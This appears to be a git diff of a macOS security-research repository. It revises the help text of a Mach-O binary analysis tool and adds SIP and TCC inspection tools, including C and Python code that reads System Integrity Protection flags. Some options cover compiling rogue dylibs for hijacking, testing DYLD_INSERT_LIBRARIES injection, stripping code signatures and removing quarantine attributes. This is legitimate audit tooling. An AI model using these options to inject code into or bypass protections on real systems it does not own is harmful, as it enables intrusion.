[--test_dyld_print_to_file] [--test_dyld_SLC] [--xattr]
|
||||
[--xattr_value xattr_name] [--xattr_all]
|
||||
[--has_quarantine] [--remove_quarantine]
|
||||
[--add_quarantine] [--sandbox_container_path]
|
||||
[--sandbox_container_metadata]
|
||||
[--sandbox_redirectable_paths] [--sandbox_parameters]
|
||||
[--sandbox_entitlements] [--sandbox_build_uuid]
|
||||
[--sandbox_redirected_paths] [--sandbox_system_images]
|
||||
[--sandbox_system_profiles]
|
||||
[--sandbox_content_protection] [--sandbox_profile_data]
|
||||
[--dump_kext kext_name] [--extract_sandbox_operations]
|
||||
[--tcc] [--tcc_fda] [--tcc_automation] [--tcc_sysadmin]
|
||||
[--tcc_desktop] [--tcc_documents] [--tcc_downloads]
|
||||
[--tcc_photos] [--tcc_contacts] [--tcc_calendar]
|
||||
[--tcc_camera] [--tcc_microphone] [--tcc_location]
|
||||
[--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
|
||||
|
||||
Mach-O files parser for binary analysis
|
||||
|
||||
@@ -92,19 +125,21 @@ options:
|
||||
-h, --help show this help message and exit
|
||||
|
||||
GENERAL ARGS:
|
||||
-p PATH, --path PATH Path to the Mach-O file
|
||||
-b BUNDLE, --bundle BUNDLE
|
||||
Path to the App Bundle (can be used with -p to change path of binary which is by default
|
||||
set to: /target.app/Contents/MacOS/target)
|
||||
-p, --path PATH Path to the Mach-O file
|
||||
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change
|
||||
path of binary which is by default set to:
|
||||
/target.app/Contents/MacOS/target)
|
||||
|
||||
BUNDLE ARGS:
|
||||
--bundle_structure Print the structure of the app bundle
|
||||
--bundle_info Print the Info.plist content of the app bundle (JSON format)
|
||||
--bundle_info Print the Info.plist content of the app bundle (JSON
|
||||
format)
|
||||
--bundle_info_syntax_check
|
||||
Check if bundle info syntax is valid
|
||||
--bundle_frameworks Print the list of frameworks in the bundle
|
||||
--bundle_plugins Print the list of plugins in the bundle
|
||||
--bundle_id Print the CFBundleIdentifier value from the Info.plist file if it exists
|
||||
--bundle_id Print the CFBundleIdentifier value from the Info.plist
|
||||
file if it exists
|
||||
|
||||
MACH-O ARGS:
|
||||
--file_type Print binary file type
|
||||
@@ -122,147 +157,192 @@ MACH-O ARGS:
|
||||
--symbols Print all binary symbols
|
||||
--imports Print imported symbols
|
||||
--exports Print exported symbols
|
||||
--imported_symbols Print symbols imported from external libraries with dylib names
|
||||
--imported_symbols Print symbols imported from external libraries with
|
||||
dylib names
|
||||
--chained_fixups Print Chained Fixups information
|
||||
--exports_trie Print Export Trie information
|
||||
--uuid Print UUID
|
||||
--main Print entry point and stack size
|
||||
--encryption_info [(optional) save_path.bytes]
|
||||
Print encryption info if any. Optionally specify an output path to dump the encrypted data
|
||||
(if cryptid=0, data will be in plain text)
|
||||
Print encryption info if any. Optionally specify an
|
||||
output path to dump the encrypted data (if cryptid=0,
|
||||
data will be in plain text)
|
||||
--strings_section Print strings from __cstring section
|
||||
--all_strings Print strings from all sections
|
||||
--save_strings all_strings.txt
|
||||
Parse all sections, detect strings, and save them to a file
|
||||
--info Print header, load commands, segments, sections, symbols, and strings
|
||||
Parse all sections, detect strings, and save them to a
|
||||
file
|
||||
--info Print header, load commands, segments, sections,
|
||||
symbols, and strings
|
||||
--dump_data [offset,size,output_path]
|
||||
Dump {size} bytes starting from {offset} to a given {filename} (e.g.
|
||||
'0x1234,0x1000,out.bin')
|
||||
Dump {size} bytes starting from {offset} to a given
|
||||
{filename} (e.g. '0x1234,0x1000,out.bin')
|
||||
--calc_offset vm_offset
|
||||
Calculate the real address (file on disk) of the given Virtual Memory {vm_offset} (e.g.
|
||||
0xfffffe000748f580)
|
||||
Calculate the real address (file on disk) of the given
|
||||
Virtual Memory {vm_offset} (e.g. 0xfffffe000748f580)
|
||||
--constructors Print binary constructors
|
||||
--dump_section __SEGMENT,__section
|
||||
Dump '__SEGMENT,__section' to standard output as a raw bytes
|
||||
Dump '__SEGMENT,__section' to standard output as a raw
|
||||
bytes
|
||||
--dump_binary output_path
|
||||
Dump arm64 binary to a given file
|
||||
|
||||
CODE SIGNING ARGS:
|
||||
--verify_signature Code Signature verification (if the contents of the binary have been modified)
|
||||
--verify_signature Code Signature verification (if the contents of the
|
||||
binary have been modified)
|
||||
--cd_info Print Code Signature information
|
||||
--cd_requirements Print Code Signature Requirements
|
||||
--entitlements [human|xml|var]
|
||||
Print Entitlements in a human-readable, XML, or DER format (default: human)
|
||||
Print Entitlements in a human-readable, XML, or DER
|
||||
format (default: human)
|
||||
--extract_cms cms_signature.der
|
||||
Extract CMS Signature from the Code Signature and save it to a given file
|
||||
Extract CMS Signature from the Code Signature and save
|
||||
it to a given file
|
||||
--extract_certificates certificate_name
|
||||
Extract Certificates and save them to a given file. To each filename will be added an
|
||||
index at the end: _0 for signing, _1 for intermediate, and _2 for root CA certificate
|
||||
Extract Certificates and save them to a given file. To
|
||||
each filename will be added an index at the end: _0
|
||||
for signing, _1 for intermediate, and _2 for root CA
|
||||
certificate
|
||||
--remove_sig unsigned_binary
|
||||
Save the new file on a disk with removed signature
|
||||
--sign_binary [adhoc|identity]
|
||||
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to
|
||||
get the identity (default: adhoc)
|
||||
Sign binary using specified identity - use : 'security
|
||||
find-identity -v -p codesigning' to get the identity
|
||||
(default: adhoc)
|
||||
--cs_offset Print Code Signature file offset
|
||||
--cs_flags Print Code Signature flags
|
||||
--verify_bundle_signature
|
||||
Code Signature verification (if the contents of the bundle have been modified)
|
||||
Code Signature verification (if the contents of the
|
||||
bundle have been modified)
|
||||
--remove_sig_from_bundle
|
||||
Remove Code Signature from the bundle
|
||||
|
||||
CHECKSEC ARGS:
|
||||
--has_pie Check if Position-Independent Executable (PIE) is set
|
||||
--has_arc Check if Automatic Reference Counting (ARC) is in use (can be false positive)
|
||||
--has_arc Check if Automatic Reference Counting (ARC) is in use
|
||||
(can be false positive)
|
||||
--is_stripped Check if binary is stripped
|
||||
--has_canary Check if Stack Canary is in use (can be false positive)
|
||||
--has_canary Check if Stack Canary is in use (can be false
|
||||
positive)
|
||||
--has_nx_stack Check if stack is non-executable (NX stack)
|
||||
--has_nx_heap Check if heap is non-executable (NX heap)
|
||||
--has_xn Check if binary is protected by eXecute Never (XN) ARM protection
|
||||
--is_notarized Check if the application is notarized and can pass the Gatekeeper verification
|
||||
--is_encrypted Check if the application is encrypted (has LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
|
||||
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT flag set
|
||||
--has_xn Check if binary is protected by eXecute Never (XN) ARM
|
||||
protection
|
||||
--is_notarized Check if the application is notarized and can pass the
|
||||
Gatekeeper verification
|
||||
--is_encrypted Check if the application is encrypted (has
|
||||
LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
|
||||
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT
|
||||
flag set
|
||||
--is_hr Check if the Hardened Runtime is in use
|
||||
--is_as Check if the App Sandbox is in use
|
||||
--is_fort Check if the binary is fortified
|
||||
--has_rpath Check if the binary utilise any @rpath variables
|
||||
--has_lv Check if the binary has Library Validation (protection against Dylib Hijacking)
|
||||
--has_lv Check if the binary has Library Validation (protection
|
||||
against Dylib Hijacking)
|
||||
--checksec Run all checksec module options on the binary
|
||||
|
||||
DYLIBS ARGS:
|
||||
--dylibs Print shared libraries used by specified binary with compatibility and the current version
|
||||
(loading paths unresolved, like @rpath/example.dylib)
|
||||
--rpaths Print all paths (resolved) that @rpath can be resolved to
|
||||
--rpaths_u Print all paths (unresolved) that @rpath can be resolved to
|
||||
--dylibs_paths Print absolute dylib loading paths (resolved @rpath|@executable_path|@loader_path) in
|
||||
order they are searched for
|
||||
--dylibs Print shared libraries used by specified binary with
|
||||
compatibility and the current version (loading paths
|
||||
unresolved, like @rpath/example.dylib)
|
||||
--rpaths Print all paths (resolved) that @rpath can be resolved
|
||||
to
|
||||
--rpaths_u Print all paths (unresolved) that @rpath can be
|
||||
resolved to
|
||||
--dylibs_paths Print absolute dylib loading paths (resolved
|
||||
@rpath|@executable_path|@loader_path) in order they
|
||||
are searched for
|
||||
--dylibs_paths_u Print unresolved dylib loading paths.
|
||||
--broken_relative_paths
|
||||
Print 'broken' relative paths from the binary (cases where the dylib source is specified
|
||||
for an executable directory without @executable_path)
|
||||
Print 'broken' relative paths from the binary (cases
|
||||
where the dylib source is specified for an executable
|
||||
directory without @executable_path)
|
||||
--dylibtree [cache_path,output_path,is_extracted]
|
||||
Print the dynamic dependencies of a Mach-O binary recursively. You can specify the Dyld
|
||||
Shared Cache path in the first argument, the output directory as the 2nd argument, and if
|
||||
you have already extracted DSC in the 3rd argument (0 or 1). The output_path will be used
|
||||
as a base for dylibtree. For example, to not extract DSC, use: --dylibs ",,1", or to
|
||||
extract from default to default use just --dylibs or --dylibs ",,0" which will extract DSC
|
||||
to extracted_dyld_share_cache/ in the current directory
|
||||
Print the dynamic dependencies of a Mach-O binary
|
||||
recursively. You can specify the Dyld Shared Cache
|
||||
path in the first argument, the output directory as
|
||||
the 2nd argument, and if you have already extracted
|
||||
DSC in the 3rd argument (0 or 1). The output_path will
|
||||
be used as a base for dylibtree. For example, to not
|
||||
extract DSC, use: --dylibs ",,1", or to extract from
|
||||
default to default use just --dylibs or --dylibs ",,0"
|
||||
which will extract DSC to extracted_dyld_share_cache/
|
||||
in the current directory
|
||||
--dylib_id Print path from LC_ID_DYLIB
|
||||
--reexport_paths Print paths from LC_REEXPORT_DLIB
|
||||
--hijack_sec Check if binary is protected against Dylib Hijacking
|
||||
--dylib_hijacking [(optional) cache_path]
|
||||
Check for possible Direct and Indirect Dylib Hijacking loading paths. The output is
|
||||
printed to console and saved in JSON format to /tmp/dylib_hijacking_log.json(append mode).
|
||||
Check for possible Direct and Indirect Dylib Hijacking
|
||||
loading paths. The output is printed to console and
|
||||
saved in JSON format to
|
||||
/tmp/dylib_hijacking_log.json(append mode).
|
||||
Optionally, specify the path to the Dyld Shared Cache
|
||||
--dylib_hijacking_a [cache_path]
|
||||
Like --dylib_hijacking, but shows only possible vectors (without protected binaries)
|
||||
Like --dylib_hijacking, but shows only possible
|
||||
vectors (without protected binaries)
|
||||
--prepare_dylib [(optional) target_dylib_name]
|
||||
Compile rogue dylib. Optionally, specify target_dylib_path, it will search for the
|
||||
imported symbols from it in the dylib specified in the --path argument and automatically
|
||||
add it to the source code of the rogue lib. Example: --path lib1.dylib --prepare_dylib
|
||||
/path/to/lib2.dylib
|
||||
Compile rogue dylib. Optionally, specify
|
||||
target_dylib_path, it will search for the imported
|
||||
symbols from it in the dylib specified in the --path
|
||||
argument and automatically add it to the source code
|
||||
of the rogue lib. Example: --path lib1.dylib
|
||||
--prepare_dylib /path/to/lib2.dylib
|
||||
|
||||
DYLD ARGS:
|
||||
--is_built_for_sim Check if binary is built for simulator platform.
|
||||
--get_dyld_env Extract Dyld environment variables from the loader binary.
|
||||
--get_dyld_env Extract Dyld environment variables from the loader
|
||||
binary.
|
||||
--compiled_with_dyld_env
|
||||
Check if binary was compiled with -dyld_env flag and print the environment variables and
|
||||
its values.
|
||||
Check if binary was compiled with -dyld_env flag and
|
||||
print the environment variables and its values.
|
||||
--has_interposing Check if binary has interposing sections.
|
||||
--interposing_symbols
|
||||
Print interposing symbols if any.
|
||||
|
||||
AMFI ARGS:
|
||||
--dump_prelink_info [(optional) out_name]
|
||||
Dump "__PRELINK_INFO,__info" to a given file (default: "PRELINK_info.txt")
|
||||
Dump "__PRELINK_INFO,__info" to a given file (default:
|
||||
"PRELINK_info.txt")
|
||||
--dump_prelink_text [(optional) out_name]
|
||||
Dump "__PRELINK_TEXT,__text" to a given file (default: "PRELINK_text.txt")
|
||||
Dump "__PRELINK_TEXT,__text" to a given file (default:
|
||||
"PRELINK_text.txt")
|
||||
--dump_prelink_kext [kext_name]
|
||||
Dump prelinked KEXT {kext_name} from decompressed Kernel Cache PRELINK_TEXT segment to a
|
||||
file named: prelinked_{kext_name}.bin
|
||||
Dump prelinked KEXT {kext_name} from decompressed
|
||||
Kernel Cache PRELINK_TEXT segment to a file named:
|
||||
prelinked_{kext_name}.bin
|
||||
--kext_prelinkinfo [kext_name]
|
||||
Print _Prelink properties from PRELINK_INFO,__info for a give {kext_name}
|
||||
Print _Prelink properties from PRELINK_INFO,__info for
|
||||
a give {kext_name}
|
||||
--kmod_info kext_name
|
||||
Parse kmod_info structure for the given {kext_name} from Kernel Cache
|
||||
Parse kmod_info structure for the given {kext_name}
|
||||
from Kernel Cache
|
||||
--kext_entry kext_name
|
||||
Calculate the virtual memory address of the __start (entrypoint) for the given {kext_name}
|
||||
Kernel Extension
|
||||
Calculate the virtual memory address of the __start
|
||||
(entrypoint) for the given {kext_name} Kernel
|
||||
Extension
|
||||
--kext_exit kext_name
|
||||
Calculate the virtual memory address of the __stop (exitpoint) for the given {kext_name}
|
||||
Kernel Extension
|
||||
Calculate the virtual memory address of the __stop
|
||||
(exitpoint) for the given {kext_name} Kernel Extension
|
||||
--mig Search for MIG subsystem and prints message handlers
|
||||
--has_suid Check if the file has SetUID bit set
|
||||
--has_sgid Check if the file has SetGID bit set
|
||||
--has_sticky Check if the file has sticky bit set
|
||||
--injectable_dyld Check if the binary is injectable using DYLD_INSERT_LIBRARIES
|
||||
--test_insert_dylib Check if it is possible to inject dylib using DYLD_INSERT_LIBRARIES (INVASIVE - the binary
|
||||
is executed)
|
||||
--test_prune_dyld Check if Dyld Environment Variables are cleared (using DYLD_PRINT_INITIALIZERS=1)
|
||||
(INVASIVE - the binary is executed)
|
||||
--test_dyld_print_to_file
|
||||
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables works (INVASIVE - the binary is
|
||||
--injectable_dyld Check if the binary is injectable using
|
||||
DYLD_INSERT_LIBRARIES
|
||||
--test_insert_dylib Check if it is possible to inject dylib using
|
||||
DYLD_INSERT_LIBRARIES (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_prune_dyld Check if Dyld Environment Variables are cleared (using
|
||||
DYLD_PRINT_INITIALIZERS=1) (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_dyld_print_to_file
|
||||
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables
|
||||
works (INVASIVE - the binary is executed)
|
||||
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment
|
||||
Variables works and code can be injected using
|
||||
DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is
|
||||
executed)
|
||||
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment Variables works and code can be
|
||||
injected using DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is executed)
|
||||
|
||||
ANTIVIRUS ARGS:
|
||||
--xattr Print all extended attributes names
|
||||
@@ -270,35 +350,67 @@ ANTIVIRUS ARGS:
|
||||
Print single extended attribute value
|
||||
--xattr_all Print all extended attributes names and their values
|
||||
--has_quarantine Check if the file has quarantine extended attribute
|
||||
--remove_quarantine Remove com.apple.quarantine extended attribute from the file
|
||||
--add_quarantine Add com.apple.quarantine extended attribute to the file
|
||||
--remove_quarantine Remove com.apple.quarantine extended attribute from
|
||||
the file
|
||||
--add_quarantine Add com.apple.quarantine extended attribute to the
|
||||
file
|
||||
|
||||
SANDBOX ARGS:
|
||||
--sandbox_container_path
|
||||
Print the sandbox container path
|
||||
--sandbox_container_metadata
|
||||
Print the .com.apple.containermanagerd.metadata.plist contents for the given bundlein XML
|
||||
format
|
||||
Print the .com.apple.containermanagerd.metadata.plist
|
||||
contents for the given bundlein XML format
|
||||
--sandbox_redirectable_paths
|
||||
Print the redirectable paths from the sandbox container metadata as list
|
||||
--sandbox_parameters Print the parameters from the sandbox container metadata as key-value pairs
|
||||
Print the redirectable paths from the sandbox
|
||||
container metadata as list
|
||||
--sandbox_parameters Print the parameters from the sandbox container
|
||||
metadata as key-value pairs
|
||||
--sandbox_entitlements
|
||||
Print the entitlements from the sandbox container metadata in JSON format
|
||||
--sandbox_build_uuid Print the sandbox build UUID from the sandbox container metadata
|
||||
Print the entitlements from the sandbox container
|
||||
metadata in JSON format
|
||||
--sandbox_build_uuid Print the sandbox build UUID from the sandbox
|
||||
container metadata
|
||||
--sandbox_redirected_paths
|
||||
Print the redirected paths from the sandbox container metadata as list
|
||||
Print the redirected paths from the sandbox container
|
||||
metadata as list
|
||||
--sandbox_system_images
|
||||
Print the system images from the sandbox container metadata as key-value pairs
|
||||
Print the system images from the sandbox container
|
||||
metadata as key-value pairs
|
||||
--sandbox_system_profiles
|
||||
Print the system profile from the sandbox container metadata in JSON format
|
||||
Print the system profile from the sandbox container
|
||||
metadata in JSON format
|
||||
--sandbox_content_protection
|
||||
Print the content protection from the sandbox container metadata
|
||||
Print the content protection from the sandbox
|
||||
container metadata
|
||||
--sandbox_profile_data
|
||||
Print raw bytes ofthe sandbox profile data from the sandbox container metadata
|
||||
Print raw bytes ofthe sandbox profile data from the
|
||||
sandbox container metadata
|
||||
--dump_kext kext_name
|
||||
Dump the kernel extension binary from the kernelcache.decompressed file
|
||||
Dump the kernel extension binary from the
|
||||
kernelcache.decompressed file
|
||||
--extract_sandbox_operations
|
||||
Extract sandbox operations from the Sandbox.kext file
|
||||
|
||||
TCC ARGS:
|
||||
--tcc Print TCC permissions of the binary
|
||||
--tcc_fda Check Full Disk Access (FDA) TCC permission for the
|
||||
binary
|
||||
--tcc_automation Check Automation TCC permission for the binary
|
||||
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for
|
||||
the binary
|
||||
--tcc_desktop Check Desktop Folder TCC permission for the binary
|
||||
--tcc_documents Check Documents Folder TCC permission for the binary
|
||||
--tcc_downloads Check Downloads Folder TCC permission for the binary
|
||||
--tcc_photos Check Photos Library TCC permission for the binary
|
||||
--tcc_contacts Check Contacts TCC permission for the binary
|
||||
--tcc_calendar Check Calendar TCC permission for the binary
|
||||
--tcc_camera Check Camera TCC permission for the binary
|
||||
--tcc_microphone Check Microphone TCC permission for the binary
|
||||
--tcc_location Check Location Services TCC permission for the binary
|
||||
--tcc_recording Check Screen Recording TCC permission for the binary
|
||||
--tcc_accessibility Check Accessibility TCC permission for the binary
|
||||
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
|
||||
```
|
||||
* Example:
|
||||
```bash
|
||||
@@ -489,6 +601,140 @@ This is my forked version of [sandblaster](https://github.com/cellebrite-labs/sa
|
||||
```bash
|
||||
python3 reverse_sandbox.py -o sonoma_sandbox_operations.txt profile_sb -r 17
|
||||
```
|
||||
### [sip_check](VIII.%20Sandbox/custom/sip_check.py)
|
||||
A simple program to check if SIP is enabled in the system with more details.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
python3 sip_check.py
|
||||
SIP Configuration Flags:
|
||||
CSR_ALLOW_UNTRUSTED_KEXTS: Off
|
||||
CSR_ALLOW_UNRESTRICTED_FS: Off
|
||||
CSR_ALLOW_TASK_FOR_PID: Off
|
||||
CSR_ALLOW_KERNEL_DEBUGGER: Off
|
||||
CSR_ALLOW_APPLE_INTERNAL: Off
|
||||
CSR_ALLOW_UNRESTRICTED_DTRACE: Off
|
||||
CSR_ALLOW_UNRESTRICTED_NVRAM: Off
|
||||
CSR_ALLOW_DEVICE_CONFIGURATION: Off
|
||||
CSR_ALLOW_ANY_RECOVERY_OS: Off
|
||||
CSR_ALLOW_UNAPPROVED_KEXTS: Off
|
||||
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: Off
|
||||
CSR_ALLOW_UNAUTHENTICATED_ROOT: Off
|
||||
```
|
||||
### [crimson_waccess.py](VIII.%20Sandbox/python/crimson_waccess.py)
|
||||
It can be use for checking the possibility of file modification and creation in a given directory.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
python3 crimson_waccess.py -f sip_protected_paths.txt
|
||||
```
|
||||
### [sip_tester](VIII.%20Sandbox/python/sip_tester)
|
||||
It can be used to check if a given path, process or service is SIP-protected and also to check missing paths from `rootless.conf`.
|
||||
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
|
||||
```bash
|
||||
sip_tester --path /bin
|
||||
sip_tester --pid 1234
|
||||
sip_tester --service com.apple.kernelmanager_helper
|
||||
sip_tester --missing_paths
|
||||
```
|
||||
### [UUIDFinder](IX.%20TCC/python/UUIDFinder.py)
|
||||
A tool for creating a centralized UUID database for macOS. It is used to find UUIDs of files and directories.
|
||||
It was introduced in the article [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
|
||||
```bash
|
||||
usage: UUIDFinder [-h] [--path PATH | --list LIST] [--uuid UUID] [--delete] [--resolve] [--show_db] [--db_location DB_LOCATION]
|
||||
|
||||
UUIDFinder - A tool for managing Mach-O executable UUIDs
|
||||
|
||||
options:
|
||||
-h, --help show this help message and exit
|
||||
--path, -p PATH Path to the executable
|
||||
--list, -l LIST Path to a file containing a list of executables
|
||||
--uuid, -u UUID UUID to lookup or add
|
||||
--delete, -d Delete the path record from database
|
||||
--resolve, -r Get UUIDs for the path and add to database
|
||||
--show_db, -s Show all records in the database
|
||||
--db_location DB_LOCATION
|
||||
Location of the UUID database file
|
||||
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. Display UUIDs for a single executable from database:
|
||||
--path /path/to/executable
|
||||
-p /path/to/executable
|
||||
|
||||
2. Find path for a specific UUID in database:
|
||||
--uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
3. Add or update UUID for a path:
|
||||
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
|
||||
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
|
||||
|
||||
4. Extract and add UUIDs from executable to database:
|
||||
--path /path/to/executable --resolve
|
||||
-p /path/to/executable -r
|
||||
|
||||
5. Delete path and its UUIDs from database:
|
||||
--path /path/to/executable --delete
|
||||
-p /path/to/executable -d
|
||||
|
||||
6. Process multiple executables from a list file:
|
||||
--list /path/to/list.txt --resolve
|
||||
-l /path/to/list.txt -r
|
||||
|
||||
7. Show all records in the database:
|
||||
--show_db
|
||||
-s
|
||||
|
||||
8. Use custom database location:
|
||||
--path /path/to/executable --db_location /custom/path/db.json
|
||||
-p /path/to/executable --db_location /custom/path/db.json
|
||||
|
||||
Notes:
|
||||
------
|
||||
- All UUIDs are stored in lowercase in the database
|
||||
- The default database file is 'uuid_database.json' in the current directory
|
||||
- When using --list, each path should be on a new line in the list file
|
||||
- The tool automatically converts relative paths to absolute paths
|
||||
```
|
||||
### [TCCParser](IX.%20TCC/python/TCCParser.py)
|
||||
A tool for querying macOS TCC (Transparency, Consent, and Control) databases.
|
||||
It was introduced in the article [](todo)
|
||||
```bash
|
||||
usage: TCCParser [-h] [-p PATH] [-t] [-a] [-l]
|
||||
|
||||
Parse TCC Database for Permissions Information
|
||||
|
||||
options:
|
||||
-h, --help Show this help message and exit
|
||||
-p PATH, --path PATH Path to TCC.db file to analyze
|
||||
-t, --table Output results in table format
|
||||
-a, --all Automatically query all available TCC databases on the system
|
||||
-l, --list_db List all available TCC databases on the system
|
||||
|
||||
Examples:
|
||||
---------
|
||||
|
||||
1. List all available TCC databases on the system:
|
||||
--list_db
|
||||
-l
|
||||
|
||||
2. Query a specific TCC database:
|
||||
--path /path/to/TCC.db
|
||||
-p /path/to/TCC.db
|
||||
|
||||
3. Display the query results in a formatted table:
|
||||
--path /path/to/TCC.db --table
|
||||
-p /path/to/TCC.db -t
|
||||
|
||||
4. Automatically query all known TCC databases:
|
||||
--all
|
||||
-a
|
||||
|
||||
Notes:
|
||||
------
|
||||
- The tool retrieves details such as client, service, and authorization status for each entry in the TCC database.
|
||||
- The `--list_db` option helps users locate all known TCC databases on the system, sourced from `REG.db`.
|
||||
```
|
||||
|
||||
## INSTALL
|
||||
```
|
||||
|
||||
43
VIII. Sandbox/custom/sip_check.c
Normal file
43
VIII. Sandbox/custom/sip_check.c
Normal file
@@ -0,0 +1,43 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
#define CSR_ALLOW_UNTRUSTED_KEXTS 0x1
|
||||
#define CSR_ALLOW_UNRESTRICTED_FS 0x2
|
||||
#define CSR_ALLOW_TASK_FOR_PID 0x4
|
||||
#define CSR_ALLOW_KERNEL_DEBUGGER 0x8
|
||||
#define CSR_ALLOW_APPLE_INTERNAL 0x10
|
||||
#define CSR_ALLOW_UNRESTRICTED_DTRACE 0x20
|
||||
#define CSR_ALLOW_UNRESTRICTED_NVRAM 0x40
|
||||
#define CSR_ALLOW_DEVICE_CONFIGURATION 0x80
|
||||
#define CSR_ALLOW_ANY_RECOVERY_OS 0x100
|
||||
#define CSR_ALLOW_UNAPPROVED_KEXTS 0x200
|
||||
#define CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE 0x400
|
||||
#define CSR_ALLOW_UNAUTHENTICATED_ROOT 0x800
|
||||
|
||||
typedef int (*csr_get_active_config_t)(uint32_t *);
|
||||
|
||||
void print_sip_flags(uint32_t sip_int) {
|
||||
printf("SIP Configuration Flags:\n");
|
||||
printf("CSR_ALLOW_UNTRUSTED_KEXTS: %s\n", (sip_int & CSR_ALLOW_UNTRUSTED_KEXTS) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_UNRESTRICTED_FS: %s\n", (sip_int & CSR_ALLOW_UNRESTRICTED_FS) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_TASK_FOR_PID: %s\n", (sip_int & CSR_ALLOW_TASK_FOR_PID) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_KERNEL_DEBUGGER: %s\n", (sip_int & CSR_ALLOW_KERNEL_DEBUGGER) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_APPLE_INTERNAL: %s\n", (sip_int & CSR_ALLOW_APPLE_INTERNAL) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_UNRESTRICTED_DTRACE: %s\n", (sip_int & CSR_ALLOW_UNRESTRICTED_DTRACE) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_UNRESTRICTED_NVRAM: %s\n", (sip_int & CSR_ALLOW_UNRESTRICTED_NVRAM) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_DEVICE_CONFIGURATION: %s\n", (sip_int & CSR_ALLOW_DEVICE_CONFIGURATION) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_ANY_RECOVERY_OS: %s\n", (sip_int & CSR_ALLOW_ANY_RECOVERY_OS) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_UNAPPROVED_KEXTS: %s\n", (sip_int & CSR_ALLOW_UNAPPROVED_KEXTS) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: %s\n", (sip_int & CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE) ? "On" : "Off");
|
||||
printf("CSR_ALLOW_UNAUTHENTICATED_ROOT: %s\n", (sip_int & CSR_ALLOW_UNAUTHENTICATED_ROOT) ? "On" : "Off");
|
||||
}
|
||||
|
||||
int main() {
|
||||
void *libSystem = dlopen("/usr/lib/libSystem.dylib", RTLD_LAZY);
|
||||
csr_get_active_config_t csr_get_active_config = dlsym(libSystem, "csr_get_active_config");
|
||||
uint32_t sip_int = 0;
|
||||
csr_get_active_config(&sip_int);
|
||||
print_sip_flags(sip_int);
|
||||
return 0;
|
||||
}
|
||||
48
VIII. Sandbox/custom/sip_check.py
Normal file
48
VIII. Sandbox/custom/sip_check.py
Normal file
@@ -0,0 +1,48 @@
|
||||
import ctypes
|
||||
|
||||
# Define the constants
|
||||
CSR_ALLOW_UNTRUSTED_KEXTS = 0x1
|
||||
CSR_ALLOW_UNRESTRICTED_FS = 0x2
|
||||
CSR_ALLOW_TASK_FOR_PID = 0x4
|
||||
CSR_ALLOW_KERNEL_DEBUGGER = 0x8
|
||||
CSR_ALLOW_APPLE_INTERNAL = 0x10
|
||||
CSR_ALLOW_UNRESTRICTED_DTRACE = 0x20
|
||||
CSR_ALLOW_UNRESTRICTED_NVRAM = 0x40
|
||||
CSR_ALLOW_DEVICE_CONFIGURATION = 0x80
|
||||
CSR_ALLOW_ANY_RECOVERY_OS = 0x100
|
||||
CSR_ALLOW_UNAPPROVED_KEXTS = 0x200
|
||||
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE = 0x400
|
||||
CSR_ALLOW_UNAUTHENTICATED_ROOT = 0x800
|
||||
|
||||
# Load the System library
|
||||
libSystem = ctypes.CDLL('/usr/lib/libSystem.dylib')
|
||||
|
||||
# Define the function prototype
|
||||
libSystem.csr_get_active_config.argtypes = [ctypes.POINTER(ctypes.c_uint32)]
|
||||
libSystem.csr_get_active_config.restype = ctypes.c_int
|
||||
|
||||
def print_sip_flags(sip_int):
|
||||
print("SIP Configuration Flags:")
|
||||
print(f"CSR_ALLOW_UNTRUSTED_KEXTS: {'On' if sip_int & CSR_ALLOW_UNTRUSTED_KEXTS else 'Off'}")
|
||||
print(f"CSR_ALLOW_UNRESTRICTED_FS: {'On' if sip_int & CSR_ALLOW_UNRESTRICTED_FS else 'Off'}")
|
||||
